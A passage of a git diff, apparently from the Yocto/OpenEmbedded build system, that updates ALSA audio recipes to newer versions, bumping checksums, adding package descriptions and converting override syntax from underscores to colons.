-# the symlinks).
-#
-# The symlinks cause QA errors, because usually it's a bug if a non
-# -dev/-dbg/-nativesdk package contains links to .so files, but in this case
-# the errors are false positives, so we disable the QA checks.
-FILES_${MLPREFIX}libasound-module-rate-lavrate += "${libdir}/alsa-lib/*rate_lavrate_*.so"
-FILES_${MLPREFIX}libasound-module-rate-samplerate += "${libdir}/alsa-lib/*rate_samplerate_*.so"
-FILES_${MLPREFIX}libasound-module-rate-speexrate += "${libdir}/alsa-lib/*rate_speexrate_*.so"
-INSANE_SKIP_${MLPREFIX}libasound-module-rate-lavrate = "dev-so"
-INSANE_SKIP_${MLPREFIX}libasound-module-rate-samplerate = "dev-so"
-INSANE_SKIP_${MLPREFIX}libasound-module-rate-speexrate = "dev-so"
-
-# 50-pulseaudio.conf defines a device named "pulse" that applications can use
-# if they explicitly want to use the PulseAudio plugin.
-# 99-pulseaudio-default.conf configures the "default" device to use the
-# PulseAudio plugin.
-FILES_${PN}-pulseaudio-conf += "\
- ${datadir}/alsa/alsa.conf.d/50-pulseaudio.conf \
- ${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf \
- ${sysconfdir}/alsa/conf.d/50-pulseaudio.conf \
- ${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf \
-"
-
-RDEPENDS_${PN}-pulseaudio-conf += "\
- ${MLPREFIX}libasound-module-conf-pulse \
- ${MLPREFIX}libasound-module-ctl-pulse \
- ${MLPREFIX}libasound-module-pcm-pulse \
-"
diff --git a/meta/recipes-multimedia/alsa/alsa-plugins_1.2.6.bb b/meta/recipes-multimedia/alsa/alsa-plugins_1.2.6.bb
new file mode 100644
index 0000000000..7b1ca2ee15
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-plugins_1.2.6.bb
@@ -0,0 +1,174 @@
+SUMMARY = "ALSA Plugins"
+DESCRIPTION = "Used to create virtual devices that can be used like normal \
+hardware devices but cause extra processing of the sound stream to take place. \
+They are used while configuring ALSA in the .asoundrc file."
+HOMEPAGE = "http://alsa-project.org"
+BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
+SECTION = "multimedia"
+
+# The primary license of alsa-plugins is LGPLv2.1.
+#
+# m4/attributes.m4 is licensed under GPLv2+. m4/attributes.m4 is part of the
+# build system, and doesn't affect the licensing of the build result.
+#
+# The samplerate plugin source code is licensed under GPLv2+ to be consistent
+# with the libsamplerate license. However, if the licensee has a commercial
+# license for libsamplerate, the samplerate plugin may be used under the terms
+# of LGPLv2.1 like the rest of the plugins.
+LICENSE = "LGPLv2.1 & GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7 \
+ file://COPYING.GPL;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://m4/attributes.m4;endline=33;md5=bb8c6b2a67ac15156961e242fec33e50 \
+ file://rate/rate_samplerate.c;endline=35;md5=fd77bce85f4a338c0e8ab18430b69fae \
+ "
+
+SRC_URI = "https://www.alsa-project.org/files/pub/plugins/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "068818a4b55d8c029daa00015d853d45113f56b224b7c64e1e117988c825b2a0"
+
+DEPENDS += "alsa-lib"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "\
+ samplerate \
+ speexdsp \
+ ${@bb.utils.filter('DISTRO_FEATURES', 'pulseaudio', d)} \
+"
+PACKAGECONFIG[aaf] = "--enable-aaf,--disable-aaf,avtp"
+PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack"
+PACKAGECONFIG[libav] = "--enable-libav,--disable-libav,libav"
+PACKAGECONFIG[maemo-plugin] = "--enable-maemo-plugin,--disable-maemo-plugin"
+PACKAGECONFIG[maemo-resource-manager] = "--enable-maemo-resource-manager,--disable-maemo-resource-manager,dbus"
+PACKAGECONFIG[pulseaudio] = "--enable-pulseaudio,--disable-pulseaudio,pulseaudio"
+PACKAGECONFIG[samplerate] = "--enable-samplerate,--disable-samplerate,libsamplerate0"
+PACKAGECONFIG[speexdsp] = "--with-speex=lib,--with-speex=no,speexdsp"
+
+PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'alsa-plugins-pulseaudio-conf', '', d)}"
+
+PACKAGES_DYNAMIC = "^libasound-module-.*"
+
+# The alsa-plugins package doesn't itself contain anything, it just depends on
+# all built plugins.
+FILES:${PN} = ""
+ALLOW_EMPTY:${PN} = "1"
+
+do_install:append() {
+ rm -f ${D}${libdir}/alsa-lib/*.la
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'pulseaudio', 'yes', 'no', d)}" = "yes" ]; then
+ # We use the example as is. Upstream installs the file under
+ # /etc, but we move it under /usr/share and add a symlink under
+ # /etc to be consistent with other installed configuration
+ # files.
+ mv ${D}${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf.example ${D}${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf
+ ln -s ${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf ${D}${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf
+ fi
+}
+
+python populate_packages:prepend() {
+ plugindir = d.expand('${libdir}/alsa-lib/')
+ packages = " ".join(do_split_packages(d, plugindir, r'^libasound_module_(.*)\.so$', 'libasound-module-%s', 'Alsa plugin for %s', extra_depends=''))
+ d.setVar("RDEPENDS:alsa-plugins", packages)
+}
+
+# Many plugins have a configuration file (plus a symlink in /etc) associated
+# with them. We put the plugin and it's configuration usually in the same
+# package, but that's problematic when the configuration file is related to
+# multiple plugins, as is the case with the pulse, oss and maemo plugins. In
+# case of the pulse plugins, we have a separate alsa-plugins-pulseaudio-conf
+# package that depends on all the pulse plugins, which ensures that all plugins
+# that the configuration references are installed. The oss and maemo
+# configuration files, on the other hand, are in the respective pcm plugin
+# packages. Therefore it's possible to install the configuration file without
+# the ctl plugin that the configuration file references. This is unlikely to
+# cause big problems, but some kind of improvement to the packaging could
+# probably be done here (at least it would be good to handle the different
+# plugins in a consistent way).
+FILES:${MLPREFIX}libasound-module-ctl-arcam-av += "\
+ ${datadir}/alsa/alsa.conf.d/50-arcam-av-ctl.conf \
+ ${sysconfdir}/alsa/conf.d/50-arcam-av-ctl.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-a52 += "\
+ ${datadir}/alsa/alsa.conf.d/60-a52-encoder.conf \
+ ${sysconfdir}/alsa/conf.d/60-a52-encoder.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-alsa-dsp += "\
+ ${datadir}/alsa/alsa.conf.d/98-maemo.conf \
+ ${sysconfdir}/alsa/conf.d/98-maemo.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-jack += "\
+ ${datadir}/alsa/alsa.conf.d/50-jack.conf \
+ ${sysconfdir}/alsa/conf.d/50-jack.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-oss += "\
+ ${datadir}/alsa/alsa.conf.d/50-oss.conf \
+ ${sysconfdir}/alsa/conf.d/50-oss.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-speex += "\
+ ${datadir}/alsa/alsa.conf.d/60-speex.conf \
+ ${sysconfdir}/alsa/conf.d/60-speex.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-upmix += "\
+ ${datadir}/alsa/alsa.conf.d/60-upmix.conf \
+ ${sysconfdir}/alsa/conf.d/60-upmix.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-usb-stream += "\
+ ${datadir}/alsa/alsa.conf.d/98-usb-stream.conf \
+ ${sysconfdir}/alsa/conf.d/98-usb-stream.conf \
+"
+FILES:${MLPREFIX}libasound-module-pcm-vdownmix += "\
+ ${datadir}/alsa/alsa.conf.d/60-vdownmix.conf \
+ ${sysconfdir}/alsa/conf.d/60-vdownmix.conf \
+"
+FILES:${MLPREFIX}libasound-module-rate-lavrate += "\
+ ${datadir}/alsa/alsa.conf.d/10-rate-lav.conf \
+ ${sysconfdir}/alsa/conf.d/10-rate-lav.conf \
+"
+FILES:${MLPREFIX}libasound-module-rate-samplerate += "\
+ ${datadir}/alsa/alsa.conf.d/10-samplerate.conf \
+ ${sysconfdir}/alsa/conf.d/10-samplerate.conf \
+"
+FILES:${MLPREFIX}libasound-module-rate-speexrate += "\
+ ${datadir}/alsa/alsa.conf.d/10-speexrate.conf \
+ ${sysconfdir}/alsa/conf.d/10-speexrate.conf \
+"
+
+# The rate plugins create some symlinks. For example, the samplerate plugin
+# creates these links to the main plugin file:
+#
+# libasound_module_rate_samplerate_best.so
+# libasound_module_rate_samplerate_linear.so
+# libasound_module_rate_samplerate_medium.so
+# libasound_module_rate_samplerate_order.so
+#
+# The other rate plugins create similar links. We have to add the links to
+# FILES manually, because do_split_packages() skips the links (which is good,
+# because we wouldn't want do_split_packages() to create separate packages for
+# the symlinks).
+#
+# The symlinks cause QA errors, because usually it's a bug if a non
+# -dev/-dbg/-nativesdk package contains links to .so files, but in this case
+# the errors are false positives, so we disable the QA checks.
+FILES:${MLPREFIX}libasound-module-rate-lavrate += "${libdir}/alsa-lib/*rate_lavrate_*.so"
+FILES:${MLPREFIX}libasound-module-rate-samplerate += "${libdir}/alsa-lib/*rate_samplerate_*.so"
+FILES:${MLPREFIX}libasound-module-rate-speexrate += "${libdir}/alsa-lib/*rate_speexrate_*.so"
+INSANE_SKIP:${MLPREFIX}libasound-module-rate-lavrate = "dev-so"
+INSANE_SKIP:${MLPREFIX}libasound-module-rate-samplerate = "dev-so"
+INSANE_SKIP:${MLPREFIX}libasound-module-rate-speexrate = "dev-so"
+
+# 50-pulseaudio.conf defines a device named "pulse" that applications can use
+# if they explicitly want to use the PulseAudio plugin.
+# 99-pulseaudio-default.conf configures the "default" device to use the
+# PulseAudio plugin.
+FILES:${PN}-pulseaudio-conf += "\
+ ${datadir}/alsa/alsa.conf.d/50-pulseaudio.conf \
+ ${datadir}/alsa/alsa.conf.d/99-pulseaudio-default.conf \
+ ${sysconfdir}/alsa/conf.d/50-pulseaudio.conf \
+ ${sysconfdir}/alsa/conf.d/99-pulseaudio-default.conf \
+"
+
+RDEPENDS:${PN}-pulseaudio-conf += "\
+ ${MLPREFIX}libasound-module-conf-pulse \
+ ${MLPREFIX}libasound-module-ctl-pulse \
+ ${MLPREFIX}libasound-module-pcm-pulse \
+"
diff --git a/meta/recipes-multimedia/alsa/alsa-tools_1.2.2.bb b/meta/recipes-multimedia/alsa/alsa-tools_1.2.2.bb
deleted file mode 100644
index 0838be8798..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-tools_1.2.2.bb
+++ /dev/null
@@ -1,86 +0,0 @@
-SUMMARY = "Advanced tools for certain ALSA sound card drivers"
-HOMEPAGE = "http://www.alsa-project.org"
-BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
-SECTION = "console/utils"
-LICENSE = "GPLv2 & LGPLv2+"
-DEPENDS = "alsa-lib"
-
-LIC_FILES_CHKSUM = "file://hdsploader/COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
- file://ld10k1/COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7 \
- "
-
-SRC_URI = "https://www.alsa-project.org/files/pub/tools/${BP}.tar.bz2"
-
-SRC_URI[md5sum] = "4e6187d2c3a8c73a9d75d66a72faed27"
-SRC_URI[sha256sum] = "bfd3c7aae1289269605d3da02279159b10e3dabdd31e658cbceaa30170957349"
-
-inherit autotools-brokensep pkgconfig
-# brokensep as as10k1 (and probably more) fail out of tree
-CLEANBROKEN = "1"
-
-# Here we use PACKAGECONFIG options to pick which directories we configure/build.
-# Remember on upgrades to check that no new tools have been added.
-PACKAGECONFIG ??= "as10k1 hdajacksensetest hda-verb hdsploader ld10k1 mixartloader pcxhrloader \
- sb16_csp seq--sbiload sscape_ctl us428control usx2yloader vxloader \
- ${@bb.utils.contains_any('DISTRO_FEATURES', '${GTK3DISTROFEATURES}', 'hdajackretask', '', d)} \
- "
-
-PACKAGECONFIG[as10k1] = ""
-PACKAGECONFIG[echomixer] = ",,gtk+"
-PACKAGECONFIG[envy24control] = ",,gtk+"
-PACKAGECONFIG[hda-verb] = ""
-PACKAGECONFIG[hdajackretask] = ",,gtk+3"
-PACKAGECONFIG[hdajacksensetest] = ",,glib-2.0"
-PACKAGECONFIG[hdspconf] = ",,fltk"
-PACKAGECONFIG[hdsploader] = ""
-PACKAGECONFIG[hdspmixer] = ",,fltk"
-PACKAGECONFIG[ld10k1] = ""
-PACKAGECONFIG[mixartloader] = ""
-PACKAGECONFIG[pcxhrloader] = ""
-PACKAGECONFIG[qlo10k1] = ",,qt-x11-free"
-PACKAGECONFIG[rmedigicontrol] = ",,gtk+"
-PACKAGECONFIG[sb16_csp] = ""
-PACKAGECONFIG[seq--sbiload] = ""
-PACKAGECONFIG[sscape_ctl] = ""
-PACKAGECONFIG[us428control] = ""
-PACKAGECONFIG[usx2yloader] = ""
-PACKAGECONFIG[vxloader] = ""
-
-# At the time of writing pyalsa is not packaged for OE, so this is not expected
-# to work.
-PACKAGECONFIG[hwmixvolume] = ",,,python-core python-pygobject pyalsa"
-
-python do_configure() {
- for subdir in d.getVar("PACKAGECONFIG").split():
- subdir = subdir.replace("--", "/")
- bb.note("Configuring %s" % subdir)
- dd = d.createCopy()
- dd.setVar("S", os.path.join(d.getVar("S"), subdir))
- bb.build.exec_func("autotools_do_configure", dd)
-}
-
-python do_compile() {
- for subdir in d.getVar("PACKAGECONFIG").split():
- subdir = subdir.replace("--", "/")
- bb.note("Compiling %s" % subdir)
- dd = d.createCopy()
- dd.setVar("S", os.path.join(d.getVar("S"), subdir))
- bb.build.exec_func("autotools_do_compile", dd)
-}
-
-python do_install() {
- for subdir in d.getVar("PACKAGECONFIG").split():
- subdir = subdir.replace("--", "/")
- bb.note("Installing %s" % subdir)
- dd = d.createCopy()
- dd.setVar("S", os.path.join(d.getVar("S"), subdir))
- bb.build.exec_func("autotools_do_install", dd)
-
- # Just remove bash-needing init script that isn't installed as an init script
- try:
- os.remove(oe.path.join(d.getVar("D"), d.getVar("sbindir"), "ld10k1d"))
- except:
- pass
-}
-
-FILES_${PN} += "${datadir}"
diff --git a/meta/recipes-multimedia/alsa/alsa-tools_1.2.5.bb b/meta/recipes-multimedia/alsa/alsa-tools_1.2.5.bb
new file mode 100644
index 0000000000..540f4f79f4
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-tools_1.2.5.bb
@@ -0,0 +1,88 @@
+SUMMARY = "Advanced tools for certain ALSA sound card drivers"
+DESCRIPTION = "Package containing a number of tools ranging from envy24control \
+which provides complete control over all devices with an envy24 chip, to \
+firmware loaders for pcmcia, USB and the hdsp devices."
+HOMEPAGE = "http://www.alsa-project.org"
+BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
+SECTION = "console/utils"
+LICENSE = "GPLv2 & LGPLv2+"
+DEPENDS = "alsa-lib"
+
+LIC_FILES_CHKSUM = "file://hdsploader/COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://ld10k1/COPYING.LIB;md5=a916467b91076e631dd8edb7424769c7 \
+ "
+
+SRC_URI = "https://www.alsa-project.org/files/pub/tools/${BP}.tar.bz2"
+
+SRC_URI[sha256sum] = "35a71027a01f4d7de4722e223520e940de68b3c570b6c671691567ae28f9893e"
+
+inherit autotools-brokensep pkgconfig
+# brokensep as as10k1 (and probably more) fail out of tree
+CLEANBROKEN = "1"
+
+# Here we use PACKAGECONFIG options to pick which directories we configure/build.
+# Remember on upgrades to check that no new tools have been added.
+PACKAGECONFIG ??= "as10k1 hdajacksensetest hda-verb hdsploader ld10k1 mixartloader pcxhrloader \
+ sb16_csp seq--sbiload sscape_ctl us428control usx2yloader vxloader \
+ ${@bb.utils.contains_any('DISTRO_FEATURES', '${GTK3DISTROFEATURES}', 'hdajackretask', '', d)} \
+ "
+
+PACKAGECONFIG[as10k1] = ""
+PACKAGECONFIG[echomixer] = ",,gtk+"
+PACKAGECONFIG[envy24control] = ",,gtk+"
+PACKAGECONFIG[hda-verb] = ""
+PACKAGECONFIG[hdajackretask] = ",,gtk+3"
+PACKAGECONFIG[hdajacksensetest] = ",,glib-2.0"
+PACKAGECONFIG[hdspconf] = ",,fltk"
+PACKAGECONFIG[hdsploader] = ""
+PACKAGECONFIG[hdspmixer] = ",,fltk"
+PACKAGECONFIG[ld10k1] = ""
+PACKAGECONFIG[mixartloader] = ""
+PACKAGECONFIG[pcxhrloader] = ""
+PACKAGECONFIG[qlo10k1] = ",,qt-x11-free"
+PACKAGECONFIG[rmedigicontrol] = ",,gtk+"
+PACKAGECONFIG[sb16_csp] = ""
+PACKAGECONFIG[seq--sbiload] = ""
+PACKAGECONFIG[sscape_ctl] = ""
+PACKAGECONFIG[us428control] = ""
+PACKAGECONFIG[usx2yloader] = ""
+PACKAGECONFIG[vxloader] = ""
+
+# At the time of writing pyalsa is not packaged for OE, so this is not expected
+# to work.
+PACKAGECONFIG[hwmixvolume] = ",,,python-core python-pygobject pyalsa"
+
+python do_configure() {
+ for subdir in d.getVar("PACKAGECONFIG").split():
+ subdir = subdir.replace("--", "/")
+ bb.note("Configuring %s" % subdir)
+ dd = d.createCopy()
+ dd.setVar("S", os.path.join(d.getVar("S"), subdir))
+ bb.build.exec_func("autotools_do_configure", dd)
+}
+
+python do_compile() {
+ for subdir in d.getVar("PACKAGECONFIG").split():
+ subdir = subdir.replace("--", "/")
+ bb.note("Compiling %s" % subdir)
+ dd = d.createCopy()
+ dd.setVar("S", os.path.join(d.getVar("S"), subdir))
+ bb.build.exec_func("autotools_do_compile", dd)
+}
+
+python do_install() {
+ for subdir in d.getVar("PACKAGECONFIG").split():
+ subdir = subdir.replace("--", "/")
+ bb.note("Installing %s" % subdir)
+ dd = d.createCopy()
+ dd.setVar("S", os.path.join(d.getVar("S"), subdir))
+ bb.build.exec_func("autotools_do_install", dd)
+
+ # Just remove bash-needing init script that isn't installed as an init script
+ try:
+ os.remove(oe.path.join(d.getVar("D"), d.getVar("sbindir"), "ld10k1d"))
+ except:
+ pass
+}
+
+FILES:${PN} += "${datadir}"
diff --git a/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.4.bb b/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.4.bb
deleted file mode 100644
index aac4b48948..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.4.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "ALSA topology configuration files"
-HOMEPAGE = "https://alsa-project.org"
-BUGTRACKER = "https://alsa-project.org/wiki/Bug_Tracking"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=20d74d74db9741697903372ad001d3b4"
-
-SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
-SRC_URI[sha256sum] = "55e0e6e42eca4cc7656c257af2440cdc65b83689dca49fc60ca0194db079ed07"
-
-inherit allarch
-
-do_install() {
- install -d "${D}${datadir}/alsa"
- cp -r "${S}/topology" "${D}${datadir}/alsa"
-}
-
-PACKAGES = "${PN}"
-
-FILES_${PN} = "*"
diff --git a/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.5.1.bb b/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.5.1.bb
new file mode 100644
index 0000000000..4374a6bb6d
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-topology-conf_1.2.5.1.bb
@@ -0,0 +1,23 @@
+SUMMARY = "ALSA topology configuration files"
+DESCRIPTION = "Provides a method for audio drivers to load their mixers, \
+routing, PCMs and capabilities from user space at runtime without changing \
+any driver source code."
+HOMEPAGE = "https://alsa-project.org"
+BUGTRACKER = "https://alsa-project.org/wiki/Bug_Tracking"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=20d74d74db9741697903372ad001d3b4"
+
+SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "f7c5bae1545abcd73824bc97f4e72c340e11abea188ba0f1c06f5e0ad776b179"
+# Something went wrong at upstream tarballing
+
+inherit allarch
+
+do_install() {
+ install -d "${D}${datadir}/alsa"
+ cp -r "${S}/topology" "${D}${datadir}/alsa"
+}
+
+PACKAGES = "${PN}"
+
+FILES:${PN} = "*"
diff --git a/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.4.bb b/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.4.bb
deleted file mode 100644
index da41c3db75..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.4.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "ALSA Use Case Manager configuration"
-HOMEPAGE = "https://alsa-project.org"
-BUGTRACKER = "https://alsa-project.org/wiki/Bug_Tracking"
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=20d74d74db9741697903372ad001d3b4"
-
-SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
-SRC_URI[sha256sum] = "2c3b535c77dcb9aaf62a61f4f8324f1ab184162f105f7ec9ed1e37c742fcd340"
-
-inherit allarch
-
-do_install() {
- install -d "${D}${datadir}/alsa"
- cp -r "${S}/ucm" "${D}${datadir}/alsa"
- cp -r "${S}/ucm2" "${D}${datadir}/alsa"
-}
-
-PACKAGES = "${PN}"
-
-FILES_${PN} = "*"
diff --git a/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.6.2.bb b/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.6.2.bb
new file mode 100644
index 0000000000..10860e61a0
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-ucm-conf_1.2.6.2.bb
@@ -0,0 +1,24 @@
+SUMMARY = "ALSA Use Case Manager configuration"
+DESCRIPTION = "This package contains ALSA Use Case Manager configuration \
+of audio input/output names and routing for specific audio hardware. \
+They can be used with the alsaucm tool. "
+HOMEPAGE = "https://alsa-project.org"
+BUGTRACKER = "https://alsa-project.org/wiki/Bug_Tracking"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=20d74d74db9741697903372ad001d3b4"
+
+SRC_URI = "https://www.alsa-project.org/files/pub/lib/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "8be24fb9fe789ee2778ae6f32e18e8043fe7f8bc735871e9d17c68a04566a822"
+# Something went wrong at upstream tarballing
+
+inherit allarch
+
+do_install() {
+ install -d "${D}${datadir}/alsa"
+ cp -r "${S}/ucm" "${D}${datadir}/alsa"
+ cp -r "${S}/ucm2" "${D}${datadir}/alsa"
+}
+
+PACKAGES = "${PN}"
+
+FILES:${PN} = "*"
diff --git a/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.4.bb b/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.4.bb
deleted file mode 100644
index 048fef68a5..0000000000
--- a/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.4.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-require alsa-utils.inc
-
-SUMMARY = "Shell scripts that show help info and create ALSA configuration files"
-PROVIDES = "alsa-utils-alsaconf"
-
-FILESEXTRAPATHS_prepend := "${THISDIR}/alsa-utils:"
-
-PACKAGES = "${PN}"
-RDEPENDS_${PN} += "bash"
-
-FILES_${PN} = "${sbindir}/alsaconf \
- ${sbindir}/alsa-info.sh \
- ${sbindir}/alsabat-test.sh \
- "
-
-S = "${WORKDIR}/alsa-utils-${PV}"
-
-do_install() {
- install -d ${D}${sbindir}
- install -m 0755 ${B}/alsaconf/alsaconf ${D}${sbindir}/
- install -m 0755 ${S}/alsa-info/alsa-info.sh ${D}${sbindir}/
- if ${@bb.utils.contains('PACKAGECONFIG', 'bat', 'true', 'false', d)}; then
- install -m 0755 ${S}/bat/alsabat-test.sh ${D}${sbindir}/
- fi
-}
diff --git a/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.6.bb b/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.6.bb
new file mode 100644
index 0000000000..000e984a7d
--- /dev/null
+++ b/meta/recipes-multimedia/alsa/alsa-utils-scripts_1.2.6.bb
@@ -0,0 +1,25 @@
+require alsa-utils.inc
+
+SUMMARY = "Shell scripts that show help info and create ALSA configuration files"
+PROVIDES = "alsa-utils-alsaconf"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/alsa-utils:"
+
+PACKAGES = "${PN}"
+RDEPENDS:${PN} += "bash"
+
+FILES:${PN} = "${sbindir}/alsaconf \
+ ${sbindir}/alsa-info.sh \
+ ${sbindir}/alsabat-test.sh \
+ "
+
+S = "${WORKDIR}/alsa-utils-${PV}"
+
+do_install() {
+ install -d ${D}${sbindir}
+ install -m 0755 ${B}/alsaconf/alsaconf ${D}${sbindir}/
+ install -m 0755 ${S}/alsa-info/alsa-info.sh ${D}${sbindir}/
+ if ${@bb.utils.contains('PACKAGECONFIG', 'bat', 'true', 'false', d)}; then
+ install -m 0755 ${S}/bat/alsabat-test.sh ${D}${sbindir}/
+ fi
+}
diff --git a/meta/recipes-multimedia/alsa/alsa-utils.inc b/meta/recipes-multimedia/alsa/alsa-utils.inc
index c001b29a0c..631cbe1029 100644
--- a/meta/recipes-multimedia/alsa/alsa-utils.inc
+++ b/meta/recipes-multimedia/alsa/alsa-utils.inc
@@ -1,4 +1,6 @@
SUMMARY = "ALSA sound utilities"
+DESCRIPTION = "collection of small and often extremely powerful applications \
+designed to allow users to control the various parts of the ALSA system."
HOMEPAGE = "http://www.alsa-project.org"
BUGTRACKER = "http://alsa-project.org/main/index.php/Bug_Tracking"
SECTION = "console/utils"
@@ -22,7 +24,7 @@ PACKAGECONFIG[manpages] = "--enable-xmlto, --disable-xmlto, xmlto-native docbook
# alsa-utils specified in SRC_URI due to alsa-utils-scripts recipe
SRC_URI = "https://www.alsa-project.org/files/pub/utils/alsa-utils-${PV}.tar.bz2"
-SRC_URI[sha256sum] = "98ffc2d599de0577d423a48fa5f20a992ca0b82d812ed1f2e58ade49ac6da426"
+SRC_URI[sha256sum] = "6a1efd8a1f1d9d38e489633eaec1fffa5c315663b316cab804be486887e6145d"
# On build machines with python-docutils (not python3-docutils !!) installed
# rst2man (not rst2man.py) is detected and compile fails with
@@ -53,41 +55,41 @@ ALSA_UTILS_PKGS = "\
"
PACKAGES += "${ALSA_UTILS_PKGS}"
-RDEPENDS_${PN} += "${ALSA_UTILS_PKGS}"
+RDEPENDS:${PN} += "${ALSA_UTILS_PKGS}"
-FILES_${PN} = ""
-ALLOW_EMPTY_alsa-utils = "1"
-FILES_alsa-utils-alsabat = "${bindir}/alsabat"
-FILES_alsa-utils-alsatplg = "${bindir}/alsatplg"
-FILES_alsa-utils-aplay = "${bindir}/aplay ${bindir}/arecord ${bindir}/axfer"
-FILES_alsa-utils-amixer = "${bindir}/amixer"
-FILES_alsa-utils-alsamixer = "${bindir}/alsamixer"
-FILES_alsa-utils-speakertest = "${bindir}/speaker-test ${datadir}/sounds/alsa/ ${datadir}/alsa/speaker-test/"
-FILES_alsa-utils-midi = "${bindir}/aplaymidi ${bindir}/arecordmidi ${bindir}/amidi"
-FILES_alsa-utils-aconnect = "${bindir}/aconnect"
-FILES_alsa-utils-aseqnet = "${bindir}/aseqnet"
-FILES_alsa-utils-iecset = "${bindir}/iecset"
-FILES_alsa-utils-alsactl = "${sbindir}/alsactl */udev/rules.d/90-alsa-restore.rules */*/udev/rules.d/90-alsa-restore.rules ${systemd_unitdir} ${localstatedir}/lib/alsa ${datadir}/alsa/init/"
-FILES_alsa-utils-aseqdump = "${bindir}/aseqdump"
-FILES_alsa-utils-alsaloop = "${bindir}/alsaloop"
-FILES_alsa-utils-alsaucm = "${bindir}/alsaucm */udev/rules.d/89-alsa-ucm.rules */*/udev/rules.d/89-alsa-ucm.rules"
+FILES:${PN} = ""
+ALLOW_EMPTY:alsa-utils = "1"
+FILES:alsa-utils-alsabat = "${bindir}/alsabat"
+FILES:alsa-utils-alsatplg = "${bindir}/alsatplg"
+FILES:alsa-utils-aplay = "${bindir}/aplay ${bindir}/arecord ${bindir}/axfer"
+FILES:alsa-utils-amixer = "${bindir}/amixer"
+FILES:alsa-utils-alsamixer = "${bindir}/alsamixer"
+FILES:alsa-utils-speakertest = "${bindir}/speaker-test ${datadir}/sounds/alsa/ ${datadir}/alsa/speaker-test/"
+FILES:alsa-utils-midi = "${bindir}/aplaymidi ${bindir}/arecordmidi ${bindir}/amidi"
+FILES:alsa-utils-aconnect = "${bindir}/aconnect"
+FILES:alsa-utils-aseqnet = "${bindir}/aseqnet"
+FILES:alsa-utils-iecset = "${bindir}/iecset"
+FILES:alsa-utils-alsactl = "${sbindir}/alsactl */udev/rules.d/90-alsa-restore.rules */*/udev/rules.d/90-alsa-restore.rules ${systemd_unitdir} ${localstatedir}/lib/alsa ${datadir}/alsa/init/"
+FILES:alsa-utils-aseqdump = "${bindir}/aseqdump"
+FILES:alsa-utils-alsaloop = "${bindir}/alsaloop"
+FILES:alsa-utils-alsaucm = "${bindir}/alsaucm */udev/rules.d/89-alsa-ucm.rules */*/udev/rules.d/89-alsa-ucm.rules"
-SUMMARY_alsa-utils-alsabat = "Command-line sound tester for ALSA sound card driver"
-SUMMARY_alsa-utils-alsatplg = "Converts topology text files into binary format for kernel"
-SUMMARY_alsa-utils-aplay = "Play (and record) sound files using ALSA"
-SUMMARY_alsa-utils-amixer = "Command-line control for ALSA mixer and settings"
-SUMMARY_alsa-utils-alsamixer = "ncurses-based control for ALSA mixer and settings"
-SUMMARY_alsa-utils-speakertest = "ALSA surround speaker test utility"
-SUMMARY_alsa-utils-midi = "Miscellaneous MIDI utilities for ALSA"
-SUMMARY_alsa-utils-aconnect = "ALSA sequencer connection manager"
